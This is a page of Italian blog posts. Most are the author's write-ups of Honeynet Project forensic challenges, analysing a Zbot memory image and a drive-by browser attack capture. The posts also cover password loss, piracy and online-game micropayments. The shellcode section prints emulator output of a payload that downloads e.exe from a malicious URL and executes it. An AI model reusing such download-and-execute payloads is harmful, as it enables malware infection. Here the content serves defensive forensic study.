Jul 27
Altrimenti non si capirebbe la differenza.
Alla quarta sfida del progetto Honeynet, quella sul VoIP, ho totalizzato 60 punti su 63, classificandomi quarto. Mi rifarò nelle prossime sfide, potete contarci. Piuttosto, nessuno che voglia cimentarsi in una gara nella gara, confrontando i risultati al termine delle votazioni?
Non lasciatemi solo a difendere la bandiera tricolore!
Ho da poco inviato la mia soluzione alla quarta sfida del progetto Honeynet, riguardante il VoIP. Nell’attesa dei risultati, previsti per la fine di luglio, vediamo la soluzione data alla terza sfida del progetto, che riguardava l’analisi di una immagine di memoria acquisita live su un computer presumibilmente colpito da una qualche forma di malware.
Nella mia soluzione ho premesso un riassunto generale di come si è svolta la sequenza di azioni dedotte dall’analisi. Non era richiesta, ma ho pensato che, data la complessità della sfida, fornire un quadro generale avrebbe aumentato la comprensione.
Il campione da esaminare è l’immagine della memoria, un file da 500mbyte.
Tutto inizia con un messaggio e-mail, contenente un allegato in PDF, che all’apertura in Acrobat Reader provoca l’esecuzione di un frammento di Javascript che, sfruttando una falla in Acrobat, riesce a scaricare ed a mandare in esecuzione un eseguibile, senza alcun intervento da parte dell’utente.
L’eseguibile è una variante del malware Zbot, un pezzo del kit di crimeware denominato ZeuS. Questo malware, fra le altre cose, posiziona alcune chiavi di registro relative al processo di WinLogon, assicurandosi l’avvio ad ogni partenza del sistema. Alla partenza sfrutta il meccanismo degli hooks per iniettare codice in tutti i processi di sistema ed utente di cui ha bisogno per fare il suo lavoro.
Andiamo con la prima domanda, che chiede di elencare i processi in esecuzione al momento dell’acquisizione della memoria del computer colpito e di indicare quale sia il processo responsabile della prima fase dell’attacco.
Ricavare questo da una immagine di memoria non è proprio banale, per cui mi sono documentato ed ho trovato una raccolta di strumenti per l’analisi della memoria di Windows, denominata Volatility.
Tramite questi strumenti, open source, è possibile ricavare parecchie informazioni senza andare di editor esadecimale e di certosina pazienza.
Con la funzione di elenco processi di Volatility, appunto, in pochi secondi si ha la lista completa. Ora si tratta di individuare quello responsabile. Se tutto è nato da un PDF allegato ad un messaggio e-mail, è molto probabile che il colpevole sia Acrobat Reader (che ha PID 1752), ma per puntare il dito con più certezza occorre andare avanti con l’analisi.
La domanda successiva chiede di mostrare l’elenco dei socket aperti sul computer vittima, e di indicare se vi siano processi sospetti che abbiano socket aperti.
Occorre incrociare i dati di tre liste, quella dei processi, quella dei socket aperti e quella delle connessioni di rete, in quanto le ultime due fanno riferimento al PID del processo che li gestisce, mentre la lista dei socket elenca anche su che protocollo e quale porta è attivo il socket, dato da incrociare con la connessione TCP o UDP che lo usa.
In breve, saltano fuori tre connessioni sospette, due con un indirizzo IP di un hosting israeliano, una con un indirizzo IP di un hosting maltese.
Vi sono anche altri socket sospetti, due dei quali fanno riferimento alle porte usate nel servizio UPnP di Windows (vedere l’articolo della knowledge base kb832017).
Vi sono dei riferimenti ad un indirizzo IP (192.168.0.1), che tornano ad una semplice ricerca di stringhe all’interno dell’immagine. Verosimilmente si tratta delle pagine di amministrazione web di un router/gateway per piccoli uffici. Sempre nell’immagine della memoria si trovano tracce di queste pagine web e di alcune transazioni SOAP volte ad aprire porte da Internet verso il computer in analisi.
Potrebbe non essere significativo, ma potrebbe anche essere il segno di un tentativo di sfruttare una nota vulnerabilità del protocollo UPnP, per cui non si possono trattare come innocue.
In definitiva, abbiamo due processi con porte aperte o connessioni sospette: PID 880, una istanza di svchost.exe, ed il processo di Acrobat Reader, che pur essendo responsabile probabilmente solo della violazione iniziale, ha ancora due connessioni in piedi col server web che ha originato l’attacco.
La terza domanda chiede di elencare gli eventuali URL sospetti nella memoria del processo sotto indagine.
Gli URL ci sono, cercandoli sia usando gli indirizzi IP trovati in precedenza, sia usando il nome “search-network-plus.com”, con cui è stato registrato l’indirizzo IP dell’hosting israeliano. Gli URL dell’hosting maltese fanno pensare ad un sito terzo, forse violato, su cui è stato inserito uno script PHP che provvede a reindirizzare il visitatore verso l’hosting israeliano, che provvede a fornire il file PDF forgiato.
La quarta domanda chiede se vi siano riferimenti riconducibili a problemi con l’home banking, quali siano i processi e gli URL.
Un URL in particolare è molto interessante, quello che riporta il nome di un noto istituto bancario americano. L’URL è scritto usando alcuni caratteri a mo’ di wildcard. Ebbene, questo schema è del tutto identico a quello usato nel malware Zbot per indicare in quali pagine web visitate è da iniettare il codice HTML per rubare le credenziali di accesso.
In pratica, questo malware riesce a intercettare tutto il traffico con Internet e sulla base degli URL indicati riesce a modificare al volo il codice HTML ricevuto dal sito dell’istituto bancario. Queste modifiche sono volte a deviare le credenziali inserite dall’ignaro utente verso che controlla il malware. In breve, opera come in una operazione di phishing, ma il sito che viene visitato è quello della banca, e il furto di credenziali avviene nel computer dell’utilizzatore e vittima, non in un sito contraffatto.
Questa è la parte finale della soluzione. Le precedenti sono qui e qui.
La nona domanda chiedeva quali azioni fossero eseguite dagli shellcode, di elencarli (insieme all’hash MD5 del binario) e di mostrare le differenze fra loro.
Gli shellcode sono tutti contenuti nel pacchetto #496, all’interno del codice Javascript offuscato. L’unica differenza viene da un URL codificato all’interno degli shellcode stessi, in cui varia il valore del solo parametro “e” di tipo url-encoded.
Come estrarre gli shellcode è abbastanza semplice: ho usato un copia e incolla del blocco codificato in UTF in un comando shell per convertire il simbolo di percentuale in backslash, poi ho scritto tre-righe-tre di Python per trasformare il tutto in un file binario. Questo il comando shell:
$ echo "%uc033%u8B64%u3040...." | tr "%" "\\"Questa invece la sequenza dei comandi Python:
import io
import codecs
f = io.open('spreadsheet.bin','w',1,'utf-16')
a=u'\uC033\u8B64\u3040....' (output dal comando tr)
f.write(a)
f.close()
Il risultato è un file codificato in UTF, con in testa il BOM (Byte Order Mark), i due byte 0xFE e 0xFF, che a noi non servono, e quindi li tagliamo con il comando:
$ dd if=aolwinamp.utf of=spreadsheet.bin bs=1 skip=2Et-voilà, ora abbiamo lo shellcode in binario pulito. Come capire cosa faccia, è tutto un altro paio di maniche. Procedere al solo disassembly è inutile, in quanto quasi certamente verranno chiamate funzioni proprie del sistema operativo, che in assembler sono delle semplici “call” con un indirizzo fisico, totalmente inintelligibili. Viene in aiuto un programma, creato dagli stessi del progetto Honeynet, chiamato libemu.
Occorre scaricarlo e compilare gli esempi, fra cui c’è sctest, che “esegue” lo shellcode tracciandone le azioni e le funzioni di sistema chiamate, oltre alle eventuali librerie utilizzate.
Fin qui niente di strano, se non fosse che lo shellcode in esame contiene una chiamata ad una funzione di sistema che non è compresa fra quelle emulate, GetTempPathA, quindi libemu esce con un messaggio di errore, dato che non ha idea di come “emulare” questa funzione. Una ricerca sul sito Microsoft dedicato agli sviluppatori e si trova la definizione della funzione, con i parametri in ingresso ed il valore di ritorno atteso. Poi occorre mettere mano al sorgente di libemu per creare un “hook” alla funzione mancante. Basta copiare il codice di una simile, cambiando opportunamente i parametri ed il valore di ritorno, poi modificare i vari header per includere la funzione fra quelle conosciute. Ricompilare (correggere gli inevitabili errori…) e riprovare. Ecco l’output:
$ /opt/libemu/bin/sctest -Svgs 1000000 < spreadsheet.bin
verbose = 1
success offset = 0x00000000
Hook me Captain Cook!
userhooks.c:127 user_hook_ExitThread
ExitThread(0)
stepcount 295995
UINT GetTempPath (
LPTSTR lpBuffer = 0x0012fe18 =>
none;
UINT uSize = 136;
) = 19;
HMODULE LoadLibraryA (
LPCTSTR lpFileName = 0x0012fe04 =>
= "urlmon.dll";
) = 0x7df20000;
HRESULT URLDownloadToFile (
LPUNKNOWN pCaller = 0x00000000 =>
none;
LPCTSTR szURL = 0x004170e0 =>
= "http://sploitme.com.cn/fg/load.php?e=8leCursorInfo";
LPCTSTR szFileName = 0x0012fe18 =>
= "e.exe";
DWORD dwReserved = 0;
LPBINDSTATUSCALLBACK lpfnCB = 0;
) = 0;
UINT WINAPI WinExec (
LPCSTR lpCmdLine = 0x0012fe18 =>
= "e.exe";
UINT uCmdShow = 0;
) = 32;
void ExitThread (
DWORD dwExitCode = 0;
) = 0;
Tradotto: viene scaricato un file, chiamato poi “e.exe”, dall’URL http://sploitme.com.cn/fg/load.php?e=8, e mandato in esecuzione.
Nell’attuale versione di libemu non è più necessario fare tutta la trafila, la chiamata di sistema è già correttamente emulata.
La decima domanda chiedeva se vi fosse coinvolto un malware e quale ne fosse lo scopo. In cinque occasioni viene scaricato un file eseguibile, identico in tutte le istanze, che non viene identificato da nessun antivirus come pericoloso. Eseguito in una macchina virtuale risulta in un errore di tipo Access Violation (0xc0000005), ed anche disabilitando la “Executable Prevention Protection” non si ottiene nulla.
Usando il comando strings sull’eseguibile si trovano tre stringhe significative, una delle quali è il path completo per lanciare Internet Explorer, nella versione inglese di Windows però, visto che il path è cablato nell’eseguibile e usa la directory “Program Files”.
L’azione dell’eseguibile è probabilmente lanciare Internet Explorer e puntarlo ad un sito particolare, nel caso in esame verso il sito del progetto Honeynet.
Ed eccoci alla domanda bonus, che era offuscata usando una semplice codifica Base64. Una volta decodificata, la domanda verte sulla timeline, ossia sulla collocazione temporale degli eventi registrati. In pratica, mentre la cattura appare iniziata il primo di gennaio 2010 all’una di notte, all’interno di alcuni protocolli vi sono riferimenti temporali che riportano una data differente, il 2 febbraio 2010 alle ore 19.
La spiegazione più semplice è che sia stata modificata la data di inizio, e che la cattura sia avvenuta in diretta, come mostrano alcune indicazioni riguardo pause nell’elaborazione e la concordanza in tutti i pacchetti che riportano una collocazione temporale insita nel protocollo stesso (HTTP ad esempio).
Questo conclude l’analisi.
Personalmente, conoscevo già alcune delle tecniche utilizzate e necessarie per risolvere l’enigma, ma molte altre mi erano sconosciute e le ho dovute acquisire. L’uso di libemu, l’uso di UTF e del BOM, le funzioni di Python per la codifica UTF, per citarne qualcuna.
Naturalmente, il poter risolvere la sfida richiedeva competenze in vari campi: protocolli di rete, linguaggi di programmazione, programmazione sicura, tecniche di sfruttamento delle falle di sicurezza, conoscenza di HTML/CSS e del DOM. Senza queste è impossibile venirne a capo, ed è inutile provarci.
E’ importante capire che non è l’uso degli strumenti, ad essere importante, ma il contesto e lo scopo per cui si utilizzano. Usare libemu è abbastanza banale, ma capire quando usarlo e interpretarne i risultati non è insito nel funzionamento dello strumento, ma spetta all’utilizzatore, cioè a noi. Non è la racchetta che fa il tennista.
Chiudiamo qui. A breve la soluzione della sfida successiva, molto più impegnativa, almeno per me.
Come promesso, eccoci alla seconda parte della soluzione per la sfida Browser Under Attack del progetto Honeynet (la I parte è qui).
La quarta domanda chiedeva di tracciare un quadro generale delle operazioni svolte dagli attaccanti. Naturalmente, qui siamo in presenza di una simulazione, nel mondo reale le cose sarebbero andate in questo modo, più o meno:
La quinta domanda chiede di elencare le contromisure prese per rallentare l’analisi. Naturalmente, ogni criminale informatico che si rispetti sa che le tracce del suo passaggio sono evidenti ad un occhio esperto, mentre un occhio meno esperto può essere ingannato per un tempo più o meno variabile. Dato che lo scopo è di colpire più utenti possibile, e di rallentare l’individuazione del malware per poter fare più danni possibile, normalmente sono prese alcune contromisure, abbastanza tipiche:
Inoltre, data la presenza di un codice che analizza il tipo di browser che visita la pagina aggressiva, si può ipotizzare che ai visitatori che si presentano con browser e/o sistemi operativi alternativi (come molti professionisti nel campo della sicurezza) venga mostrata una pagina con codice inoffensivo.
La sesta domanda chiede di presentare il codice Javascript identificato nelle precedenti risposte, e di svelarlo, se offuscato. Non riporto per intero il codice, anche perché sarebbe lungo e difficile da comprendere (è riportato per intero nella mia soluzione, pubblicata nella pagina del sito Honeynet relativa alla sfida).
Vale la pena però di fare alcune considerazioni. In tutti i casi il codice Javascript è offuscato, ed in un caso l’offuscamento è annidato, ossia il codice originale è offuscato una prima volta usando la funzione Javascript escape(), ed il risultato è offuscato di nuovo usando una funzione scritta appositamente. Il metodo di offuscamento usato in tutte le false pagine 404 è identico, quello che cambia è il codice Javascript risultante.
Altra cosa da notare è che in presenza del browser Firefox il codice emesso è inoffensivo.
La domanda successiva chiede quale possa essere la funzione della variabile “s” negli URL.
Il valore della variabile è fissato nel codice Javascript iniettato nei siti violati, ed è differente da un sito all’altro. Il valore viene mantenuto nei vari reindirizzamenti, per cui lo scopo non è quello di selezionare l’attacco, cosa che invece è decisa in base al browser o alla geolocalizzazione. Lo scopo, verosimilmente, è quello dell’affiliazione, ossia decidere a chi appartiene il computer dell’ignaro visitatore ad uno dei siti violati, attaccata e conquistata da un malware. Dato che il server che distribuisce il malware è unico, con questo modo si individua l’appartenenza ad un circuito botnet differente. Se il sito A è violato da Mario, ed il sito B è violato da Carlo, tutti e due i siti reindirizzano verso il server attaccante, ma ognuno con un codice di affiliazione differente, permettendo di distinguere a chi assegnare il computer colpito.
L’ottava domanda chiede quale sistema operativo e quale browser siano i bersagli scelti per l’attacco, quali vulnerabilità siano colpite e se sia possibile prevenire l’attacco stesso.
La riposta è piuttosto articolata, ed in breve può essere riassunta così: il bersaglio è Windows XP con Service Pack 2 o precedenti, il browser è Internet Explorer 6, di cui vengono attaccati parecchi componenti ActiveX, sia nativi che forniti da altre applicazioni. Alcune vulnerabilità sono state scoperte nel 2005, mentre altre sono molto recenti, risalendo a fine 2009.
L’unica prevenzione è aggiornare sistema operativo, browser e applicazioni. Naturalmente (questo non l’ho scritto nella soluzione presentata), usando un account non amministrativo per navigare, pur rimanendo colpiti dal malware, in molti dei casi esposti sopra questo non può fare danni, in quanto non ha i privilegi amministrativi, essendo eseguito con i privilegi di Internet Explorer, quindi di un utente “limitato”. Visto che nessuno usa questa strategia, chi sfrutta queste vulnerabilità ha la certezza di colpire praticamente chiunque gli venga a tiro.
Chiudiamo qui. La prossima e ultima parte sarà piuttosto corposa, visto che riguarderà l’analisi degli shellcode.
Le persone si dividono in due categorie: quelli che hanno perso i dati e quelli che li perderanno.
Le persone si dividono in due categorie: quelli con una buona memoria e… dicevo?
Combinando queste due frasi si arriva a quello che è successo al sottoscritto. Per fortuna i dati persi riguardano esclusivamente roba scaricabile da Internet, di cui conservo i link nei bookmark.
I fatti: usando vari computer (ufficio, fisso di casa e notebook personale), devo tenere sincronizzati i dati sui tre. Per fortuna, tutto quello che riguarda posta e Internet è in servizi online, quindi almeno questi di dati non sono un problema. Uso un disco USB esterno da 2,5″, che in sostanza è un backup di backup, cioè i dati sono in almeno altri tre posti differenti, anche come luogo. Il disco esterno contiene i dati “viaggianti” e gli ultimi aggiornamenti, quindi è in realtà “spendibile”, e la cifratura che vi ho applicato è motivata soltanto dalla possibilità che a seguito di un furto i miei dati cadano in altre mani, visto che questo disco è quello più a rischio di essere trafugato.
In effetti, se subissi un furto in ufficio o in casa il problema sarebbe lo stesso, anzi peggio: in casa, soprattutto, ho ben più “dati personali” che in altre mani sono molto più pericolosi, ma questo è un problema di tutti, alla fin fine.
Circa un mese fa ho cambiato il disco esterno con uno di minore capacità, vista la mole tutto sommato ridotta di dati che trasporto (meno di 20Gb in tutto). Già che c’ero ho pensato bene di cambiare la password di accesso, visto che l’altra la usavo da quasi due anni.
Nei giorni successivi ho usato il disco due volte al giorno, digitando ogni volta la nuova password, poi dalla seconda settimana di maggio non l’ho più usato, visto che non avevo aggiornamenti. Ieri sera, a distanza di quindici giorni, volevo trasferire alcune foto fatte negli ultimi giorni, inserisco il cavo nella presa USB, attendo l’apparire del pannello di richiesta password, digito, Errore. Vabbè, ho digitato male. Ridigito. Errore. Non può essere. Che ci sia un problema col disco? Apro un terminale, controllo log e messaggi di errore, niente. Provo da riga di comando. Niente.
Ero piuttosto stanco, per cui mi sono fermato un attimo e mi sono calmato, e ricordato che avevo cambiato la password. Ricordavo il ragionamento fatto, per cui ho tentato di ricostruire la password.
Per farla breve: il disco ed il suo contenuto sono persi, non sono riuscito a ricordare la password, nonostante l’abbia scelta io stesso, con un ragionamento, e l’abbia usata più volte nei giorni successivi.
Per fortuna, ripeto, i dati erano altamente spendibili e non ho perso nulla, ma la cosa mi ha piuttosto spiazzato. Per prima cosa mi è tornato in mente una cosa letta qualche giorno addietro, il decalogo dell’amministrazione della sicurezza, che in prima posizione riporta:
Nobody believes anything bad can happen to them, until it does
Tradotto: nessuno crede che possa accadergli qualcosa di male, finché non gli succede.
Ecco. Ora che mi sono “scottato”, il pensiero è naturalmente come evitare che succeda di nuovo. Per ora il disco è stato riformattato senza cifrature di sorta, e ci ho riscritto sopra i dati persi.
Quale può essere la strategia migliore? Scriversi la password da qualche parte, per esempio il classico foglietto nel portafogli? Usare uno strumento di “archiviazione password”? Usare una tecnica di “data hiding”, che ben conosco?
Accetto suggerimenti. Ma tenete conto dell’età, ecco.
Qualche giorno fa ho ricevuto un SMS da una mia nipote, evento eccezionale in sé, visto che la vedo e sento praticamente solo in occasione delle feste comandate, anche a causa della distanza.
Naturalmente, come tutti i ragazzi, nel messaggio è andata subito al punto, senza convenevoli: “Zio mi scarichi due film da Internet?”.
Superata la prima sorpresa, ho iniziato a rifletterci su. Non mi andava di risponderle con un SMS sbrigativo, ma non volevo neanche finire a farle un predicozzo, cosa che ricordo benissimo odiavo alla sua età (anche se sono passati più di trenta anni).
Alla fine le ho telefonato (ha il cellulare, naturalmente…), e le cose si sono fatte interessanti, tanto da spingermi a scriverne qui.
In breve, a scuola le hanno parlato dello scaricare film da Internet, e il messaggio che è arrivato è che il rischio è una multa salata. Ci siamo salutati con la promessa di farle avere i film richiesti in modo legale, e con l’impegno di parlarne a voce la prossima volta che ci si vede.
Ovviamente, questo mi ha fatto riflettere, e non poco. Se questo è il messaggio che viene dato ai ragazzi, che di Internet ne sanno spesso più di chi va a parlargli in classe, e ne sanno in maniera diretta, per esperienza, vuol dire che abbiamo sbagliato tutto.
La multa per un italiano di oggi è sinonimo di una lotteria, ossia prima mi devi beccare. L’effetto deterrente è pressoché nullo, per non parlare della totale assenza di ogni legame con qualsiasi concetto di legalità ed etica. Questo significa sottovalutare e svalutare i ragazzi, e le loro potenzialità. Nella mia, certamente limitata, esperienza, i ragazzi hanno un fortissimo senso dell’etica e della legalità.
Quello che non viene invece detto è che molte organizzazioni criminali usano contro di noi le nostre stesse cattive abitudini. Prendiamo a esempio le reti peer to peer del circuito di Emule. Cercando un qualsiasi film o software, non importa se legalmente o illegalmente condiviso, possiamo star certi che ci troveremmo di fronte queste trappole:
Tutto questo è molto più frequente di quanto si possa pensare, e il fatto che mediamente ogni settimana mi trovo a ripulire un computer di qualche conoscente con problemi di malware, infilatosi nel computer tramite uno dei trucchi elencati poco fa, deve far riflettere su quale sia appunto il messaggio da trasmettere ai ragazzi.
Su questo sito spesso arrivano persone, indirizzate da Google e compagni, alla ricerca di modi per usare ad esempio le “chiavette” 3G/UMTS/HSDPA con Emule, per avere un ID alto o per “aprire le porte” sulla chiavetta, per via della presenza di alcuni articoli che parlano di come usare questi dispositivi con Linux o con l’eeePC, niente a che vedere con Emule. Alcune di queste cose sono impossibili: quasi tutti gli operatori 3G assegnano un indirizzo IP delle classi private (vedi rfc1918), indice che la connessione è dietro un firewall o un altro apparato che opera un NAT (Network Address Translation), e quindi rende impossibile accettare connessioni di rete in ingresso, cosa indispensabile per avere un “ID alto” in Emule, e quindi ottenere benefici di priorità nei download.
Tralasciando il fatto che l’operazione di usare un accesso via 3G/UMTS/HSDPA a consumo è una strategia perdente, visto che conta il traffico in uscita, oltre che quello in ingresso, e che quello in uscita è molto più consistente, l’indicazione è che il “vizietto” è diffuso, e tutte le altre considerazioni, economiche, legali, etiche, vengono dopo.
Quello che mi domando è che cosa possiamo fare per instillare un minimo di competenza, perché di questo si tratta, nei ragazzi come mia nipote? Potremmo parlare di condivisione, di libertà e di riconoscimento del proprio lavoro. Potremmo parlare di etica e di legalità ma, francamente, c’è il rischio di sentirci rispondere, e non a torto, che con tutti i cattivi esempi che hanno ogni giorno da noi stessi, che problema vuoi che sia lo scaricare un film da Internet?
Ecco, questo è un problema reale di sicurezza, un problema che nessuno strumento tecnologico può risolvere, perché la sua origine non è tecnologica, ma umana e comportamentale. Se potessi, andrei nelle scuole a fare opera di evangelizzazione, e gratis. Mi basta pensare a questi ragazzi, per cui abbiamo preparato un mondo futuro che noi stessi abbiamo difficoltà a capire, e ce li stiamo infilando a forza.
Il Progetto Honeynet, fondato nel 1999 da un gruppo di volontari, si pone come fine quello di aumentare la sicurezza in Internet senza scopo di lucro, avendo ben in mente il concetto di Open Source. Attraverso tre strategie, attenzione, informazione e strumenti, cerca semplicemente di fare la differenza,
Uno degli strumenti è la periodica pubblicazione di “sfide” a partecipazione pubblica che hanno come oggetto l’investigazione di un incidente di sicurezza, spesso preso da situazioni reali. In generale la sfida funziona in questo modo: c’è un antefatto, che serve a creare l’ambientazione della storia, c’è il dato da esaminare e c’è la lista delle domande a cui rispondere, ognuna col suo punteggio. Dalla data di pubblicazione di solito vengono lasciate tre o quattro settimane per rispondere, poi dopo due ulteriori settimane vengono pubblicati i risultati e la soluzione ufficiale.
Fino ad oggi ho partecipato a quattro di queste sfide:
Al momento in cui scrivo sono stati appena pubblicati i risultati dell’ultima sfida, in cui mi sono classificato primo. Tutte le sfide sono state molto stimolanti, ed ho potuto applicare parte dell’esperienza acquisita in questi anni di analisi di siti web compromessi, anche se in ogni sfida c’era molto altro.
Per questo motivo ho pensato di procedere a pubblicare, un pezzo alla volta, le soluzioni di quelle cui partecipo, scelte fra quelle che ritengo più interessanti e stimolanti, oltre che di valore didattico.
Partiamo quindi con la sfida “Browser sotto attacco“.
La storia è molto semplice: analizzare il campione fornito, e rispondere alle domande. Il campione è il risultato di una registrazione del traffico di rete e salvato nel formato detto libpcap, dal nome di una nota libreria Open Source alla base di molti programmi utilizzati come sniffer di rete (tcpdump, WireShark, Winpcap, ecc). l file è piuttosto piccolo, 300k in tutto.
Usando Wireshark, possiamo aprirlo e cominciare ad orientarci.
L'inizio del file di cattura in Wireshark
La prima domanda chiede di elencare i protocolli presenti nel file della cattura e di indicare quale sia il protocollo utilizzato per l’attacco, anche se naturalmente a questa seconda domanda potremo rispondere solo più avanti nell’analisi. In ogni caso l’elenco dei protocolli è in due gruppi, quelli di più basso livello (IP, ARP, ICMP, UDP, TCP, IGMP) e quelli di più alto livello (DHCP, HTTP, NetBIOS, DNS).
Ho semplicemente contato ed elencato a mano i protocolli, ma, guardando la soluzione originale, si poteva utilizzare chaosreader per estrarre i dati in formato testo e lavorarci sopra di grep.
In questo caso la cattura era piuttosto breve, quindi me la sono cavata con poco, ma se fosse stata una cattura di tipo differente (ho dovuto spesso esaminare sessioni di cattura da qualche decina di gigabyte, in file da un giga l’uno…) non me la sarei cavata tanto facilmente.
Un aiuto viene anche da Wireshark, utilizzando la funzione “Protocol Hierarchy” del menu “Statistics”.
La funzione Protocol Hierarchy di Wireshark
Per quanto riguarda il protocollo usato per l’attacco, si tratta di HTTP, come sarà evidente durante l’analisi.
La seconda domanda era già più articolata: elencare indirizzi IP, i nomi degli host e di dominio. Inoltre si chiede cosa si possa dedurre da questi dati e se sia una situazione reale. Abbiamo parecchi indirizzi IP, ma uno sguardo attento mostra che possono essere raggruppati in alcune categorie:
Gli indirizzi IP delle vittime e dei server DHCP sono della stessa classe di quelli assegnati di default dall’ambiente di rete virtuale creato da Qemu, come pure i MAC address dei server DHCP. Questo, verosimilmente, ci suggerisce che sia gli host vittima che i server DHCP sono macchine virtuali, usate come honeypot.
Gli indirizzi IP degli attaccanti sono privati (vedi rfc1918), ed il loro nome di dominio non esiste in Internet o, meglio, non è registrato su alcun servizio conosciuto, quindi anche gli attaccanti sono simulati. Unica eccezione viene dall’host shop.honeynet.sg che esiste e viene risolto con l’indirizzo IP 203.117.131.40, ma nella cattura in analisi non viene mai contattato ed ogni richiesta viene indirizzata verso un host interno privato (indirizzo IP 192.168.56.51).
Tutte queste informazioni possono essere ricavate con strumenti di uso comune in Linux per l’interrogazione dei database pubblici degli indirizzi IP e dei nomi di dominio, come dig, whois e host.
La terza domanda entra nel vivo dell’analisi, chiedendo di elencare le pagine web visitate, e di indicare quelle contenenti codice Javascript sospetto o possibilmente dannoso, e quale host la stia visitando, descrivendo brevemente la natura del codice sospetto o dannoso. L’elenco è lungo e articolato, in grassetto le pagine “interessanti”:
Riassumendo, vi sono tre categorie di pagine:
Come si possa affermate tutto ciò sarà evidente nel seguito.
Fine della prima parte. Fra qualche giorno il seguito.
Dopo aver ripristinato il tutto, l’installazione pare reggere, ma naturalmente non c’è da illudersi. Se, come ipotizzavo, il problema è dellì’hosting c’è poco da fare. In particolare, quello su cui è ospitato il sito usa un sistema che separa completamente gli utenti ospitati. Ognuno ha il suo spazio, il servizio web server è eseguito con utente differente da sito a sito, per cui è impossibile andare a curiosare nello spazio di hosting degli altri, anche volendo.
Anche se l’applicazione web che uso fosse notoriamente insicura per la presenza di bug non corretti, cosa che a quanto mi è dato di sapere non è, violando il mio sito non potrebbero compromettere gli altri ospitati nello stesso server.
Se invece il problema fosse a monte, ad esempio per via di un bug non corretto a livello del software di sistema (web server, interprete PHP, database vari, ecc.), l’eventuale incursore che sfrutti la falla potrebbe accedere globalmente a vari livelli: a tutti i siti in hosting o addirittura all’intero server.
Il tipo di incursione e il suo scopo, iniettare Javascript, seminascosto, in più siti possibile per infettare più utenti possibile con il falso antivirus (con lo stesso schema e le stesse finalità di altri incidenti di sicurezza, differenti ma con lo stesso scopo, di cui avevo parlato in precedenza), fa pensare appunto ad un attacco mirato.
Se avete un sito con pagine in PHP, anche se non si tratta di applicazioni note, anche se si tratta di pagine fatte su misura, controllate che non vi siano blocchi di codice iniettato e camuffato. Riconoscerlo è abbastanza facile, e ne avevo scritto diffusamente al tempo dell’attacco massivo ai blog con WordPress.
Un nome evocativo. Un bel banner grafico, possibilmente una o più fanciulle poco vestite. Le parole gioca, gratis, online si leggono scritte in grande nella pagina che si apre se si clicca sul banner.
E’ una vera e propria epidemia. Basta entrare in un qualsiasi sito di intrattenimento, in un blog o in un portale di media diffusione, ed immediatamente compare un banner che mostra un gioco online gratuito.
Ne esistono per tutti i gusti: spaziali, FPS, avventure, Dungeon&Dragons, strategici. Alcuni richiedono l’installazione di un client, di solito i FPS, altri si giocano col browser. In tutti la registrazione è gratuita, e si parte con quanto basta a capire come funziona il gioco e, soprattutto, prenderci gusto: è lo scopo principale, perché dopo viene il bello.
La dotazione iniziale di un gioco in stile Halo, Doom 3, Half-Life e simili è minima. Per acquisire nuove armi, strumenti e potenziamenti occorre una moneta di scambio il cui nome varia da gioco a gioco, ma il meccanismo è in pratica lo stesso per tutti, indipendentemente da chi li pubblica: ogni oggetto, ogni arma, ogni potenziamento, perfino le munizioni e alcune opzioni di configurazione, tutto ha un costo ed una durata. Un esempio a caso: il mirino che appare al centro dello schermo può essere cambiato con uno di forma diversa, costo 14.900 crediti. Se si cambia idea, occorre spendere altri 14.900 crediti. Vogliamo cambiare il nome del nostro giocatore? Bastano 9.900 crediti, per un singolo cambio. Vogliamo cambiare il colore con cui appare il nostro nome? Solo 2.900 crediti, ma la modifica dura 30 giorni (solari e non di gioco), poi occorre rinnovare l’acquisto, altrimenti torna quello originale.
Nessun problema, i crediti si guadagnano combattendo, naturalmente solo quando si vince. Per i nuovi giocatori è dura: per usare alcune armi e certi equipaggiamenti occorre avere un certo livello di “esperienza”, segnato con un corrispondente grado militare. Altrimenti, anche se abbiamo quell’arma, non possiamo utilizzarla. Senza quelle armi e con equipaggiamento ridotto vincere è oggettivamente difficile.
Ecco dove si trova la trappola: se non si ha esperienza, si guadagna poco, ma “fare esperienza” significa poter usare certe armi e certi equipaggiamenti, per aver maggiori possibilità di vincere.
In un altro gioco, ad ambientazione spaziale, i crediti si guadagnano combattendo o commerciando, ma anche qui tutto ha un costo: anche i singoli proiettili sparati dalla nostra nave hanno un prezzo. E per comprare un semplice cannone laser (le munizioni sono a parte) occorrono migliaia di crediti.
La sorpresa viene dal valore reale di questi crediti. Il rapporto di conversione (o forse si dovrebbe parlare di un vero e proprio tasso di cambio) è di un dollaro per 1.000 unità di moneta del gioco, oppure di un euro per 1.000 unità monetarie se il fornitore del gioco è in Europa.
Con pochi semplici calcoli si vede subito che è facile spendere decine di euro per qualche partita. Il problema è che nulla nella struttura del gioco obbliga a comprare crediti, ma è nella evoluzione dell’ambiente che diventa praticamente necessario: alcune missioni o alcune opzioni del gioco si possono accedere solo se in possesso di determinati requisiti, che è impossibile ottenere senza spendere soldi per acquistare crediti.
Tornando ai numeri detti sopra, cambiare il proprio nome costa quasi 10 dollari. Cambiare il mirino ne costa 15. Detto in questo modo appare subito chiaro che lo scopo del fornitore del gioco non è fare soldi con la licenza di installazione ed uso del software, ma con gli innumerevoli micropagamenti che i giocatori alla fine fanno per andare avanti nel gioco.
Naturalmente non ho speso un centesimo per fare dei test, ma i prezzi e le condizioni d’uso sono leggibili e disponibili su tutti i siti, anche se non sempre molto chiare.
In questo modo il problema della pirateria viene risolto alla radice, ma in modo che certamente non si può definire indolore per gli utenti: non vogliamo pagare 30-70 euro per un gioco originale per il computer o per la nostra console per videogame, che magari li varrebbe anche, però andiamo a spendere alla fin fine centinaia di euro in micropagamenti per un gioco che in definitiva non è neanche originale, né nella struttura, né nei contenuti.
Il problema semmai è un altro: tenere sotto controllo il denaro effettivamente speso. Qualche tempo addietro ho acquistato alcuni giochi in offerta: Max Payne, Freelancer e Deus Ex, tutti per meno di 10 euro. E’ vero, non sono giochi recenti, ma il mio computer non mi permette di allargarmi molto come prestazioni. Ognuno di questi assicura parecchi giorni di gioco, e a distanza di tempo non mi stanco mai di giocarci di nuovo, anche se in effetti di tempo me ne è rimasto veramente poco, anzi nulla. Ma per quanto possa usarli il loro costo sarà sempre e solo di 10 euro, indipendentemente dalla quantità di tempo e di sessioni di gioco.
Lo stesso non si può certo dire di questa categoria di giochi online, il cui scopo è di assicurare al creatore un introito costante da parte di chi gioca, usando l’effetto “un caffè al giorno“, ben noto a chi si occupa di marketing.
Occhio al portafogli.
Aug 31
